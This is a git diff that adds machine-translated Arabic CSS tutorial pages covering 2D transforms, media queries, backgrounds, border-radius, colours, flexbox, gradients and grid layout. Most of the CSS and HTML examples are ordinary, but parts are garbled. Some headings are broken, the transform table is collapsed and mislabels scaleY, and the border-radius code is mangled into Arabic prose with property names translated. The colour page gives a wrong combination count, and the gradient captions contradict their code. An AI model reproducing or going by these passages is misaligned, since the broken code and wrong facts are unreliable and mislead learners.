+أسلوب `scale()` يزيد أو يقلل من حجم عنصر (وفقا ل المعلمات المقدمة للعرض والارتفاع).
+
+المثال التالي يزيد عنصر `<div>` ليكون مرتين من به العرض الأصلي ، وثلاث مرات من ارتفاعه الأصلي:
+
+### مثال:
+
+ `div { 
+  -ms-transform: scale(2, 3); /* IE 9 */ 
+  -webkit-transform: scale(2, 3); /* Safari */ 
+  transform: scale(2, 3); 
+ } 
+` 
+
+المثال التالي يقلل عنصر `<div>` ليكون نصف أصله الأصلي العرض والارتفاع:
+
+### مثال:
+
+ `div { 
+  -ms-transform: scale(0.5, 0.5); /* IE 9 */ 
+  -webkit-transform: scale(0.5, 0.5); /* Safari */ 
+  transform: scale(0.5, 0.5); 
+ } 
+` 
+
+## طريقة skewX ()
+
+`skewX()` طريقة `skewX()` عنصرًا على طول المحور السيني بزاوية معينة.
+
+المثال التالي يزيح عنصر `<div>` 20 درجة على طول المحور X:
+
+### مثال:
+
+ `div { 
+  -ms-transform: skewX(20deg); /* IE 9 */ 
+  -webkit-transform: skewX(20deg); /* Safari */ 
+  transform: skewX(20deg); 
+ } 
+` 
+
+## طريقة (())
+
+`skewY()` طريقة `skewY()` عنصرًا على طول المحور ص من الزاوية المحددة.
+
+المثال التالي يزيح عنصر `<div>` 20 درجة على طول المحور الصادي:
+
+### مثال:
+
+ `div { 
+  -ms-transform: skewY(20deg); /* IE 9 */ 
+  -webkit-transform: skewY(20deg); /* Safari */ 
+  transform: skewY(20deg); 
+ } 
+` 
+
+## طريقة الانحراف ()
+
+`skew()` طريقة `skew()` عنصرًا على المحور X و Y بواسطة الزوايا المحددة.
+
+المثال التالي يزيح عنصر `<div>` 20 درجة على طول المحور X ، و 10 درجات على طول المحور الصادي:
+
+### مثال:
+
+ `div { 
+  -ms-transform: skew(20deg, 10deg); /* IE 9 */ 
+  -webkit-transform: skew(20deg, 10deg); /* Safari */ 
+  transform: skew(20deg, 10deg); 
+ } 
+` 
+
+إذا لم يتم تحديد المعلمة الثانية ، فإنها تحتوي على قيمة صفرية. لذلك ، ما يلي على سبيل المثال يتخطى عنصر `<div>` 20 درجة على طول المحور X:
+
+### مثال:
+
+ `div { 
+  -ms-transform: skew(20deg); /* IE 9 */ 
+  -webkit-transform: skew(20deg); /* Safari */ 
+  transform: skew(20deg); 
+ } 
+` 
+
+## طريقة المصفوفة ()
+
+تجمع طريقة `matrix()` جميع طرق التحويل ثنائية الأبعاد في واحدة.
+
+تأخذ طريقة المصفوفة (6) المعلمات ، التي تحتوي على وظائف الرياضيات ، والتي يسمح لك بتدوير ، قياس ، نقل (ترجمة) ، وتحريف العناصر.
+
+المعلمات هي على النحو التالي: مصفوفة (scaleX ()، skewY ()، skewX ()، scaleY ()، translateX ()، translateY ())
+
+### مثال:
+
+ `div { 
+  -ms-transform: matrix(1, -0.3, 0, 1, 0, 0); /* IE 9 */ 
+  -webkit-transform: matrix(1, -0.3, 0, 1, 0, 0); /* Safari */ 
+  transform: matrix(1, -0.3, 0, 1, 0, 0); 
+ } 
+` 
+
+## CSS3 خصائص التحويل
+
+يسرد الجدول التالي جميع خصائص التحويل ثنائية الأبعاد:
+
+| الملكية الوصف | | ---------------- | -------------------------------------------------- ------- | | تحويل | يطبق تحويل ثنائي أو ثلاثي الأبعاد على عنصر | | تحويل أصل | يسمح لك بتغيير الموقف على العناصر المحولة |
+
+## طرق التحويل ثنائية الأبعاد
+
+| وظيفة الوصف | | --------------------- | -------------------------------------------------- ----------------------- | | مصفوفة (n، n، n، n، n، n) | يحدد تحويل ثنائي الأبعاد ، باستخدام مصفوفة من ست قيم | | ترجمة (س ، ص) | تعريف ترجمة ثنائية الأبعاد ، وتحريك العنصر على طول المحور X- و Y- | translateX (n) | يحدد ترجمة ثنائية الأبعاد ، وينقل العنصر على طول المحور السيني | ترجماتي (n) | تعريف ترجمة ثنائية الأبعاد ، تحريك العنصر على طول المحور ص | | مقياس (س ، ص) | يعرّف تحويل مقياس ثنائي الأبعاد ، يغيّر عرض العناصر وارتفاعها | | scaleX (n) | يعرّف تحويل نطاق ثنائي الأبعاد ، يغيّر عرض العنصر | | scale (n) | يعرِّف تحويل نطاق ثنائي الأبعاد ، ويؤدي إلى تغيير ارتفاع العنصر | تدوير (زاوية) | يحدد دوران 2D ، يتم تحديد الزاوية في المعلمة | | انحراف (x-angle، y-angle) | يعرّف تحول انحراف ثنائي الأبعاد على المحور X- و Y- | skewX (زاوية) | يحدد تحول انحراف ثنائي الأبعاد على المحور X | | skewY (زاوية) | يعرّف تحول انحراف ثنائي الأبعاد على المحور "ص"
+
+## معلومات اكثر:
+
+*   https://css-tricks.com/almanac/properties/t/transform/
+*   https://www.w3schools.com/css/css3\_2dtransforms.asp
+*   https://developer.mozilla.org/en-US/docs/Web/CSS/transform
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/css3-at-media-rule/index.md b/client/src/guide/arabic/css/css3-at-media-rule/index.md
new file mode 100644
index 0000000000..ff415132a9
--- /dev/null
+++ b/client/src/guide/arabic/css/css3-at-media-rule/index.md
@@ -0,0 +1,39 @@
+---
+title: CSS3 at Media Rule
+localeTitle: CSS3 في Media Rule
+---
+## CSS3 في Media Rule
+
+قاعدة وسائط CSS3 هي قاعدة تسمح باستخدام استعلامات الوسائط. يمكن أن تسمح لك استعلامات الوسائط بتكوين صفحة الويب الخاصة بك (إما جزء منها أو كلها) بشكل مختلف استنادًا إلى أنواع أو أجهزة وسائط مختلفة.
+
+يتم إنشاء استعلام الوسائط باستخدام العلامة `@media` ومن ثم توفير قاعدة من أجل التحقق من أشياء مثل:
+
+*   عرض وارتفاع إطار العرض الحالي
+*   توجيه الجهاز (ينطبق ذلك على الأجهزة اللوحية أو الهواتف)
+*   القرار الحالي
+*   و اكثر
+
+يوجد حاليًا أربعة أنواع وسائط محتملة:
+
+*   الكل (افتراضي - سيستهدف هذا جميع الأجهزة)
+*   الطباعة (تستخدم للطابعات ، على سبيل المثال توفير أنماط طباعة منفصلة)
+*   الشاشة (تستخدم لأجهزة الكمبيوتر ، والهواتف ، والأجهزة اللوحية ، وما إلى ذلك)
+*   الكلام (يستخدم لأجهزة الوصول مثل قارئ الشاشة الذي يروي محتويات صفحة ويب)
+
+يتم استخدام استعلامات الوسائط لجميع أنواع purporses لأنها تسمح بالعديد من ميزات الوسائط المختلفة. أحد أكثر الاستخدامات شيوعًا لاستعلام الوسائط هو جعل صفحة الويب سريعة الاستجابة ؛ مما يعني أنها ستتصرف بشكل مختلف بناءً على حجم الشاشة.
+
+مثال لاستعلام الوسائط هو كما يلي:
+
+ `@media screen and (max-width: 1000px) { 
+  body { 
+    background: #000; 
+  } 
+ } 
+` 
+
+لا تنطبق قاعدة CSS في استعلام Media إلا عندما تكون القاعدة صحيحة. على سبيل المثال ، بالنظر إلى المقتطف أعلاه ، سيتم تغيير خلفية النص إلى `#000` فقط عندما يزور أحد المستخدمين الصفحة بجهاز بعرضه 1000 بكسل أو أقل. إذا كانت أعلى من 1000 بكسل ، فلن تنطبق هذه القاعدة.
+
+#### معلومات اكثر:
+
+*   [CSSmedia Rule](https://www.w3schools.com/cssref/css3_pr_mediaquery.asp)
+*   [استخدام استعلامات الوسائط](https://developer.mozilla.org/en-US/docs/Web/CSS/Media_Queries/Using_media_queries)
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/css3-backgrounds/index.md b/client/src/guide/arabic/css/css3-backgrounds/index.md
new file mode 100644
index 0000000000..80f3be60c0
--- /dev/null
+++ b/client/src/guide/arabic/css/css3-backgrounds/index.md
@@ -0,0 +1,84 @@
+---
+title: CSS3 Backgrounds
+localeTitle: خلفيات CSS3
+---
+## خلفيات CSS3
+
+وCSS `background` يستخدم الخاصية المختصرة لتحديد مضاعفات خصائص مثل:
+
+`background-color` ، `background-image` `background-repeat` `background-attachment` ، `background-attachment` `background-position`
+
+### لون الخلفية
+
+على `background-color` تحدد الخاصية لون الخلفية عنصر.
+
+ `   background-color : #F00; 
+` 
+
+### الصورة الخلفية
+
+تحدد خاصية `background-image` لاستخدامها كخلفية لأحد العناصر. بشكل افتراضي ، تكرر الصورة نفسها لتغطية كامل سطح العنصر.
+
+ `   background-image: url("GitHub-Mark.png"); 
+` 
+
+### صورة الخلفية - التكرار
+
+افتراضيًا ، تتكرر خاصية `background-image` على المحور X و Y. إذا كنت تريد تعيين محور ، مثل X axis ، فاستخدم نوع خاصية `background-repeat` :
+
+ `   background-image: url("GitHub-Mark.png"); 
+   background-repeat: repeat-x; 
+` 
+
+ولكن في بعض الأحيان لا تريد أن يكون لديك خلفية على جميع الأسطح ، يجب عليك تحديدها بكتابة:
+
+ `   background-image: url("GitHub-Mark.png"); 
+   background-repeat: no-repeat; 
+` 
+
+### صورة الخلفية - الوظيفة
+
+يمكنك تحديد موضع الخلفية بكتابة:
+
+ `   background-image: url("GitHub-Mark.png"); 
+   background-repeat: no-repeat; 
+   background-position : left bottom; 
+` 
+
+سيعين لك خلفية في الجزء السفلي الأيمن من العنصر.
+
+### صورة الخلفية - موقف ثابت
+
+إذا كنت ترغب في الحصول على صورة خلفية لن يتم تمريرها مع بقية الصفحة ، فيمكنك استخدام خاصية `background-attachement` :
+
+ `   background-image: url("GitHub-Mark.png"); 
+   background-repeat: no-repeat; 
+   background-position: left bottom; 
+   background-attachment: fixed; 
+` 
+
+### خاصية الاختزال
+
+يمكنك تمرير جميع الخصائص في `background` خاصية فائقة واحدة:
+
+ `   background: #F00 url("GitHub-Mark.png") no-repeat fixed left bottom; 
+` 
+
+عند استخدام خاصية الاختزال ، يجب عليك احترام هذا الطلب:
+
+1.  لون الخلفية
+2.  الصورة الخلفية
+3.  تكرار الخلفية
+4.  مرفق الخلفية
+5.  موقف الخلفية
+
+لا يهم ما إذا كان هناك عنصر واحد مفقود ، طالما أنك تحترم الطلب:
+
+ `   background: url("GitHub-Mark.png") no-repeat left bottom; 
+` 
+
+سيعمل هذا حتى إذا كان اللون والمرفق مفقود.
+
+#### معلومات اكثر:
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/background)
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/css3-borders-rounded-corners/index.md b/client/src/guide/arabic/css/css3-borders-rounded-corners/index.md
new file mode 100644
index 0000000000..922d814e41
--- /dev/null
+++ b/client/src/guide/arabic/css/css3-borders-rounded-corners/index.md
@@ -0,0 +1,63 @@
+---
+title: CSS3 Border Radius Property
+localeTitle: CSS3 الحدود شعاع الملكية
+---
+## CSS3 الحدود شعاع الملكية
+
+باستخدام CSS3 ، يمكنك إعطاء أي عنصر "زوايا دائرية" ، باستخدام خاصية `border-radius` . يمكن أن تكون القيمة بأي وحدة طول CSS صالحة.
+
+ `  .rounded-corners { 
+    border-radius: 20px; 
+  } 
+ 
+  .circle { 
+    border-radius: 50%; 
+  } 
+` 
+
+![أمثلة](https://github.com/kaithrendyle/guide-photos/blob/master/rounded-circle.png?raw=true)
+
+**ملاحظة:** خاصية `border-radius` هي في الواقع خاصية اختزال `border-top-left-radius` `border-top-right-radius` ، `border-top-left-radius` `border-top-right-radius` `border-bottom-right-radius` ، `border-top-right-radius` `border-bottom-right-radius` `border-bottom-left-radius` .
+
+إذا تم توفير قيمة واحدة فقط ، فسيكون نصف قطر الحدود هو نفسه لجميع الزوايا الأربع ، كما هو موضح في الأمثلة السابقة. ولكن لديك أيضًا خيار تحديد قيم مختلفة لكل ركن.
+
+ `.new-shape { 
+  border-radius: 20px 50px 5px 0; /* top left, top right, bottom right, bottom left */ 
+ } 
+` 
+
+في حالة تقديم قيمتين فقط ، يتم تطبيق القيمة الأولى على الركن الأيمن العلوي والسفلي ، وتنطبق القيمة الثانية على الركن الأيمن العلوي والسفلي الأيسر.
+
+ `.leaf-shape { 
+  border-radius: 0 50%; 
+ } 
+` 
+
+إذا تم تعيين ثلاث قيم ، فسيتم تطبيق القيم الأولى مرة أخرى على نصف قطر أعلى اليسار ، تشير القيمة الثانية إلى اليمين العلوي والسفلي الأيسر ، تاركة القيمة الثالثة للإشارة إلى الركن السفلي الأيمن.
+
+ `.odd-shape { 
+  border-radius: 0 20px 50%; 
+ } 
+` 
+
+![أمثلة](https://github.com/kaithrendyle/guide-photos/blob/master/odd-shapes.png?raw=true)
+
+لا يجب أن يكون تقريب الزاوية متماثلًا تمامًا. يمكنك تحديد كل من الشعاعين الأفقي والعمودي باستخدام شرطة مائلة ("/") لتحقيق زاوية ذات شكل بيضاوي الشكل. \`\` \`المغلق .elliptical-1 { border-radius: 50px / 10px؛ / \* نصف القطر الأفقي / نصف القطر الرأسي \* / } .elliptical-2 { border-radius: 10px / 50px؛ }
+
+ `![examples](https://github.com/kaithrendyle/guide-photos/blob/master/elliptical-basic.png?raw=true) 
+ 
+ Since only one pair of values is given in the above examples, all four corners are the same. But, of course, if you want a more complex shape, you may supply up to four values for the horizontal radiuses and four for the vertical radiuses. 
+` 
+
+المغلق .elliptical-3 { border-radius: 50px 20px 50px 20px / 20px 50px 20px 50px؛ / \* أفقية من اليسار إلى اليمين ، أعلى يمين أفقي ، أفقي من أسفل إلى اليمين ، أفقي من أسفل يسار / عمودي إلى يسار علوي ، عمودي أعلى يمين ، عمودي إلى أسفل يمين ، عمودي إلى أسفل يسار \* / }
+
+ `Notice how the shorthand above produces the same result as specifying individual properties below. Be aware that when corners are set individually the values are space-separated instead of slash-separated. 
+` 
+
+المغلق .elliptical-4 { نصف قطر أعلى يمين - أقصى: 50 بكسل 20 بكسل ؛ / \* نصف القطر الأفقي ، نصف القطر الرأسي \* / نصف قطر أعلى يمين الحد: 20px 50px؛ نصف قطر الحد السفلي - اليمين - اليمين: 50 بكسل × 20 بكسل ؛ border-bottom-left-radius: 20px 50px؛ } \`\` \` ![أمثلة](https://github.com/kaithrendyle/guide-photos/blob/master/elliptical-advance.png?raw=true)
+
+### معلومات اكثر:
+
+*   CSS Tricks: [CSS Tricks](https://css-tricks.com/almanac/properties/b/border-radius/)
+*   وثائق [MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/border-radius) : [MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/border-radius)
+*   دعم المتصفح: [caniuse](http://caniuse.com/#search=border-radius)
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/css3-colors/index.md b/client/src/guide/arabic/css/css3-colors/index.md
new file mode 100644
index 0000000000..b1a2de4193
--- /dev/null
+++ b/client/src/guide/arabic/css/css3-colors/index.md
@@ -0,0 +1,81 @@
+---
+title: CSS3 Colors
+localeTitle: ألوان CSS3
+---
+## ألوان CSS3
+
+تستخدم الألوان في CSS لتلوين العناصر في صفحات الويب الخاصة بنا. هناك العديد من الطرق لتعيين ألوان للعناصر. يمكنك استخدام الأسماء الفعلية للألوان أو قيم RGB الخاصة بها أو القيم السداسية العشرية. في CSS3 تمت إضافة hsl (خفة تدرج - تشبع) إلى المواصفات.
+
+### أسماء اللون
+
+يوجد حاليًا 140 اسمًا لونًا مدعومة في HTML ، والتي يمكن تعيينها في قواعد CSS عن طريق كتابة اسمها فقط. فمثلا:
+
+### بناء الجملة
+
+ `p { 
+  color: green; 
+ } 
+` 
+
+هذه القاعدة تغير كل لون الخط لكل
+
+عناصر خضراء. للحصول على قائمة الألوان 140 بالكامل ، انظر هنا: https://www.w3schools.com/colors/colors\_names.asp
+
+### قيم RGB
+
+RGB تعني "أحمر" و "أخضر" و "أزرق" ويمكننا أيضًا تعيين ألوان بكتابة قيم RGB في قواعدنا. ستبدو قيمة RGB كما يلي: rgb (255،0،0) ، حيث يحدد كل رقم مقدار كل لون سيكون في المزيج النهائي.
+
+تتراوح القيم من 0 إلى 255 ، وفي مثالنا نرى أن القيمة الأولى هي 255 فقط بينما يتم تعيين القيمتين الأخريين إلى 0. وهذا يعني أن هناك لون أحمر فقط في قيمنا وسيتم تلوين العنصر المعني باللون الأحمر. تعطي قيمة RGB (0 ، 0 ، 0) اللون الأسود وقيمة (255 ، 255 ، 255) تعطي اللون الأبيض.
+
+من المستحيل محاولة حفظ كل رمز لون ولهذا السبب هناك العديد من الأدوات عبر الإنترنت لاختيار الألوان التي تريدها لمشاريعك. على سبيل المثال: https://www.w3schools.com/colors/colors\_picker.asp أو http://htmlcolorcodes.com/color-picker/.
+
+ `p { 
+  color: rgb(0, 255, 0); 
+ } 
+` 
+
+تغير هذه القاعدة لون الخط لكل عناصر p إلى اللون الأخضر ، تمامًا كما هو موضح أعلاه.
+
+### القيم السداسية العشرية
+
+تعد القيم السداسية العشرية طريقة أخرى لتعريف الألوان في CSS وتعمل بشكل مشابه تمامًا مع قيم RGB.
+
+`#29432b` عشوائيًا هذا: `#29432b` ، حيث أول حرفين بعد وضع علامة التجزئة لمقدار RED في المزيج ، والثاني هما الوقوف لمقدار الأخضر وآخر موقفين لمقدار الأزرق.
+
+قيم `#000000` و `#ffffff` الأبيض والأسود على التوالي. يمكنك العثور على الألوان السداسية العشرية المحددة التي تتطلبها باستخدام نفس الأدوات المذكورة لقيم RGB.
+
+### بناء الجملة
+
+ `p { 
+  color: #00fe00; 
+ } 
+` 
+
+تقوم هذه القاعدة مرة أخرى بتغيير لون الخط لكل عناصر p إلى اللون الأخضر.
+
+### HSL
+
+لدى HSL ثلاث قيم. الأول هو **هوى** الذي يقيس بالدرجات. لذلك 0 (أو 360) يمثل اللون الأحمر ، في 120 هو أخضر و 240 أزرق. الثاني هو **التشبع** الذي له قيمة نسبة تتراوح من 0 إلى 100٪. الثالث هو **Lightness** الذي له أيضًا قيمة نسبة تتراوح من 0 إلى 100٪. 0٪ أسود داكن ، متوسط ​​50٪ ، 100٪ أبيض.
+
+### بناء الجملة
+
+ `p { 
+  color: hsl(0, 100%, 50%); 
+ } 
+` 
+
+### انتاج |
+
+[JSfiddle](https://jsfiddle.net/qcw2n145/)
+
+### لماذا نستخدم قيم RGB أو HEX؟
+
+تأخذ أسماء الألوان 140 قيمة فقط ، بينما تحتوي قيم RGB و HEX على 16777716 توليفة محتملة. لذا إذا كنت تريد أن تبدو مشاريعك بالضبط كيف تصورتها ، يجب عليك استخدام الخيارين الأخيرين والحفاظ على قيم أسماء اللون للأشكال النموذجية والاختبارات.
+
+#### معلومات اكثر:
+
+[w3schools](https://www.w3schools.com/colors/default.asp)
+
+[W3 مشروع التوثيق](https://drafts.csswg.org/css-color-3/#color)
+
+[MDN | ألوان CSS](https://developer.mozilla.org/en-US/docs/Web/CSS/color)
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/css3-flexible-box/index.md b/client/src/guide/arabic/css/css3-flexible-box/index.md
new file mode 100644
index 0000000000..329d692f4f
--- /dev/null
+++ b/client/src/guide/arabic/css/css3-flexible-box/index.md
@@ -0,0 +1,33 @@
+---
+title: CSS3 Flexible Box
+localeTitle: CSS3 صندوق مرن
+---
+## CSS3 صندوق مرن
+
+يوفر نموذج Flexbox طريقة فعالة لتخطيط ومحاذاة وتوزيع المساحة بين العناصر داخل المستند - حتى عندما يكون إطار العرض وحجم عناصرك ديناميكية أو غير معروفة.
+
+تتمثل أهم فكرة وراء نموذج Flexbox في أن الحاوية الرئيسية يمكنها تغيير عرض / ارتفاع / ترتيب العناصر الخاصة بها لملء المساحة المتوفرة على أفضل وجه. تقوم حاوية مرنة بتوسيع العناصر لملء المساحة المتوفرة ، أو تقليصها لمنع تجاوز السعة. 1
+
+#### الاستخدام الأساسي
+
+يمكن استخدام Flexbox لتركيز أي مقدار من العناصر المحددة داخل عنصر واحد. المثال الأساسي لهذا هو الرمز التالي:
+
+`css .center-elements-inside { display: flex; flex-direction: row; justify-content: center; }`
+
+دعونا كسر هذا المثال. أولاً قمنا بتعيين خاصية العرض إلى "flex" حتى نتمكن من تطبيق خصائص flexbox الخاصة بنا. بعد ذلك نعلن الطريقة التي يتعامل بها flexbox مع عناصرنا. هذا يمكن أن يكون في صف أو في عمود. سيؤدي تعيينه إلى الصف إلى محاذاة العناصر الأفقية داخل العنصر. العمود سوف محاذاة لهم العمودي.
+
+الآن دعونا نلقي نظرة سريعة على "تبرير المحتوى". تعلن هذه الخاصية كيف يتم توزيع العناصر داخل العنصر الرئيسي. لقد اخترنا قيمة "المركز". هذا يعني أن جميع العناصر الموجودة داخل هذا العنصر سيتم توسيطها.
+
+#### معلومات اكثر:
+
+للحصول على فهم كامل لـ Flexbox ، اقرأ [استيعاب Flexbox كل ما تحتاج إلى معرفته](https://medium.freecodecamp.org/understanding-flexbox-everything-you-need-to-know-b4013d4dc9af) على صفحة MediumCodeCamp المتوسطة.
+
+للحصول على دليل تفاعلي ، يمكنك الانتقال [إلى الدليل النهائي لـ Flexbox - Learning Through Examples](https://medium.freecodecamp.org/the-ultimate-guide-to-flexbox-learning-through-examples-8c90248d4676)
+
+كلاهما موارد كبيرة من قبل Ohans Emmanuel.
+
+يمكن العثور على دليل مرئي رائع آخر متعمق ولكنه سهل المتابعة في [دليل إلى Flexbox](https://css-tricks.com/snippets/css/a-guide-to-flexbox/) بواسطة [CSS-Tricks](https://css-tricks.com)
+
+### مصادر
+
+1.  [كويير ، كريس. "دليل كامل ل Flexbox" CSS-Tricks. آخر تحديث في 28 أيلول 2017.](https://css-tricks.com/snippets/css/a-guide-to-flexbox/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/css3-gradients/index.md b/client/src/guide/arabic/css/css3-gradients/index.md
new file mode 100644
index 0000000000..8a4be6d0a6
--- /dev/null
+++ b/client/src/guide/arabic/css/css3-gradients/index.md
@@ -0,0 +1,136 @@
+---
+title: CSS3 Gradients
+localeTitle: تدرجات CSS3
+---
+## تدرجات CSS3
+
+تتيح لك التدرجات CSS3 عرض انتقالات سلسة بين لونين محددين أو أكثر.
+
+في وقت سابق ، كان عليك استخدام الصور لهذه التأثيرات. ومع ذلك ، باستخدام تدرجات CSS3 ، يمكنك تقليل وقت التنزيل واستخدام النطاق الترددي. بالإضافة إلى ذلك ، تبدو العناصر ذات التدرجات أفضل عند التكبير ، لأن التدرج يتم إنشاؤه بواسطة المستعرض.
+
+يعرف CSS3 نوعين من التدرجات:
+
+*   التدرجات الخطية (تنخفض / أعلى / يسار / يمين / مائل)
+*   تدرجات نصف قطرية (محددة بمركزها)
+
+### تدرجات خطية CSS3
+
+لإنشاء تدرج خطي ، يجب تحديد نقطتي توقف للألوان على الأقل. توقف اللون هي الألوان التي تريد تقديم انتقالات سلسة بين. يمكنك أيضًا ضبط نقطة بداية واتجاه (أو زاوية) مع تأثير التدرج.
+
+#### بناء الجملة
+
+ `background: linear-gradient(direction, color-stop1, color-stop2, ...); 
+` 
+
+##### التدرج الخطي - من الأعلى إلى الأسفل (هذا هو الإعداد الافتراضي)
+
+يوضح المثال التالي تدرج خطي يبدأ من الأعلى. يبدأ باللون الأحمر ، مع الانتقال إلى الأصفر: ![الافتراضي الخطية التدرج](https://i.imgur.com/2uGfleD.jpg)
+
+#### مثال
+
+ `<!DOCTYPE html> 
+ <html> 
+ <head> 
+ <style> 
+ #grad1 { 
+    height: 200px; 
+    background: red; /* For browsers that do not support gradients */ 
+    background: -webkit-linear-gradient(red, green); /* For Safari 5.1 to 6.0 */ 
+    background: -o-linear-gradient(red, green); /* For Opera 11.1 to 12.0 */ 
+    background: -moz-linear-gradient(red, green); /* For Firefox 3.6 to 15 */ 
+    background: linear-gradient(red, green); /* Standard syntax (must be last) */ 
+ } 
+ </style> 
+ </head> 
+ <body> 
+ 
+ <h3>Linear Gradient - Top to Bottom</h3> 
+ <p>This linear gradient starts at the top. It starts red, transitioning to yellow:</p> 
+ 
+ <div id="grad1"></div> 
+ 
+ <p><strong>Note:</strong> Internet Explorer 9 and earlier versions do not support gradients.</p> 
+ 
+ </body> 
+ </html> 
+` 
+
+![الافتراضي الخطية التدرج](https://i.imgur.com/CvtXCMd.jpg)
+
+##### التدرج الخطي - من اليسار إلى اليمين
+
+يوضح المثال التالي تدرج خطي يبدأ من اليسار. يبدأ باللون الأحمر ، مع الانتقال إلى الأصفر: ![من اليسار إلى اليمين](https://i.imgur.com/e4dRvZR.jpg)
+
+#### مثال
+
+ `<!DOCTYPE html> 
+ <html> 
+ <head> 
+ <style> 
+ #grad1 { 
+    height: 200px; 
+    background: red; /* For browsers that do not support gradients */ 
+    background: -webkit-linear-gradient(left, red , green); /* For Safari 5.1 to 6.0 */ 
+    background: -o-linear-gradient(right, red, green); /* For Opera 11.1 to 12.0 */ 
+    background: -moz-linear-gradient(right, red, green); /* For Firefox 3.6 to 15 */ 
+    background: linear-gradient(to right, red , green); /* Standard syntax (must be last) */ 
+ } 
+ </style> 
+ </head> 
+ <body> 
+ 
+ <h3>Linear Gradient - Left to Right</h3> 
+ <p>This linear gradient starts at the left. It starts red, transitioning to yellow:</p> 
+ 
+ <div id="grad1"></div> 
+ 
+ <p><strong>Note:</strong> Internet Explorer 9 and earlier versions do not support gradients.</p> 
+ 
+ </body> 
+ </html> 
+` 
+
+![من اليسار إلى اليمين](https://i.imgur.com/k4FSyXz.jpg)
+
+#### التدرج الخطي - قطري
+
+يمكنك جعل التدرج قطريًا بتحديد موضعتي البدء الأفقية والرأسية.
+
+يوضح المثال التالي تدرج خطي يبدأ من أعلى اليسار (ويذهب إلى أسفل اليمين). يبدأ باللون الأحمر ، مع الانتقال إلى الأصفر:
+
+![قطري](https://i.imgur.com/YvtbUBH.jpg)
+
+#### مثال
+
+ `<!DOCTYPE html> 
+ <html> 
+ <head> 
+ <style> 
+ #grad1 { 
+    height: 200px; 
+    background: red; /* For browsers that do not support gradients */ 
+    background: -webkit-linear-gradient(left top, red, green); /* For Safari 5.1 to 6.0 */ 
+    background: -o-linear-gradient(bottom right, red, green); /* For Opera 11.1 to 12.0 */ 
+    background: -moz-linear-gradient(bottom right, red, green); /* For Firefox 3.6 to 15 */ 
+    background: linear-gradient(to bottom right, red, green); /* Standard syntax (must be last) */ 
+ } 
+ </style> 
+ </head> 
+ <body> 
+ 
+ <h3>Linear Gradient - Diagonal</h3> 
+ <p>This linear gradient starts at top left. It starts red, transitioning to yellow:</p> 
+ 
+ <div id="grad1"></div> 
+ 
+ <p><strong>Note:</strong> Internet Explorer 9 and earlier versions do not support gradients.</p> 
+ 
+ </body> 
+ </html> 
+` 
+
+![قطري-إكسب](https://i.imgur.com/8gKRhAp.jpg)
+
+#### معلومات اكثر:
+
+[MDN Documentatiion](https://developer.mozilla.org/en-US/docs/Web/CSS/linear-gradient) || [w3schools](https://www.w3schools.com/css/css3_gradients.asp)
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/css3-grid-layout/index.md b/client/src/guide/arabic/css/css3-grid-layout/index.md
new file mode 100644
index 0000000000..9fca42489f
--- /dev/null
+++ b/client/src/guide/arabic/css/css3-grid-layout/index.md
@@ -0,0 +1,13 @@
+---
+title: CSS Grid Layout
+localeTitle: CSS شبكة التخطيط
+---
+## CSS شبكة التخطيط
+
+CSS Grid Layout هو أقوى نظام تخطيط متاح في CSS. إنه نظام ثنائي الأبعاد ، بمعنى أنه قادر على التعامل مع كل من الأعمدة والصفوف ، على عكس فليكس بوكس ​​الذي يعد إلى حد كبير نظامًا أحادي البعد. على الرغم من أن شبكة التخطيط غير مدعومة بشكل كامل من قبل جميع المتصفحات ، إلا أنها الطريقة الأكثر تقدمًا وراحة لإجراء تخطيطات للصفحات.
+
+#### معلومات اكثر:
+
+لمزيد من المعلومات ، اقرأ [دليل كامل لتخطيط CSS من](http://chris.house/blog/a-complete-guide-css-grid-layout/) قبل كريس هاوس.
+
+يمكن قراءة المزيد من المعلومات حول دعم المتصفح على [https://caniuse.com](https://caniuse.com/#feat=css-grid) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/css3-media-queries/index.md b/client/src/guide/arabic/css/css3-media-queries/index.md
new file mode 100644
index 0000000000..79488e9f22
--- /dev/null
+++ b/client/src/guide/arabic/css/css3-media-queries/index.md
@@ -0,0 +1,51 @@
+---
+title: CSS3 Media Queries
+localeTitle: استعلامات الوسائط CSS3
+---
+## استعلامات الوسائط CSS3
+
+تتيح لك استعلامات الوسائط الحصول على أنماط مختلفة للأجهزة المختلفة / أحجام الشاشات المختلفة. أدّى تقديمهم في CSS3 إلى تخفيف المبنى بشكل كبير من صفحات الويب سريعة الاستجابة.
+
+أفضل طريقة عند تصميم موقع ويب سريع الاستجابة هو التفكير في الجوال أولاً ؛ مما يعني أنك تنشئ صفحتك بدءًا من التصميم والمحتوى من النسخة المحمولة. قد تعتقد أنه باستخدام بعض الأحجام القابلة للتطوير (٪ ، vw أو vh) ، ستتكيف صفحتك بشكل مثالي مع أي جهاز. لكنها لن تفعل ذلك. يمكن لبعض التصميم الأساسي للغاية ، ولكن بالتأكيد ليس للصفحات الأكثر شيوعًا أو تعقيدًا!
+
+عند تصميم صفحتك للأجهزة الصغيرة ، سوف تركز على المحتوى الرئيسي. على شاشة أكبر ، سيكون عليك إعادة ضبط بعض أحجام الخطوط والهوامش paddings وهلم جرا من أجل الحفاظ على موقعك مريحة وقابلة للقراءة ، ولكنك سوف تحتاج أيضا / تحتاج إلى إضافة المزيد من المحتوى ، تلك التي لم تحكم على الأساسية ، وملء الفراغ الذي تم إنشاؤه بواسطة حجم الشاشة.
+
+يجب أن تكون عملية التفكير:
+
+1.  المحتوى الذي يجب إظهاره؟
+2.  كيفية التخطيط؟
+3.  بحجم؟
+
+### التركيب الأساسي
+
+ `    @media only screen and (min-width: 768px) { 
+      p {padding: 30px;} 
+    } 
+` 
+
+ستحتوي العلامة `p` على مساحة مقدارها 30 بكسل بمجرد أن تصل الشاشة إلى 768 بكسل كحد أدنى.
+
+### بناء جملة AND
+
+ `  @media only screen and (min-height: 768px) and (orientation: landscape) { 
+    p {padding: 30px;} 
+  } 
+` 
+
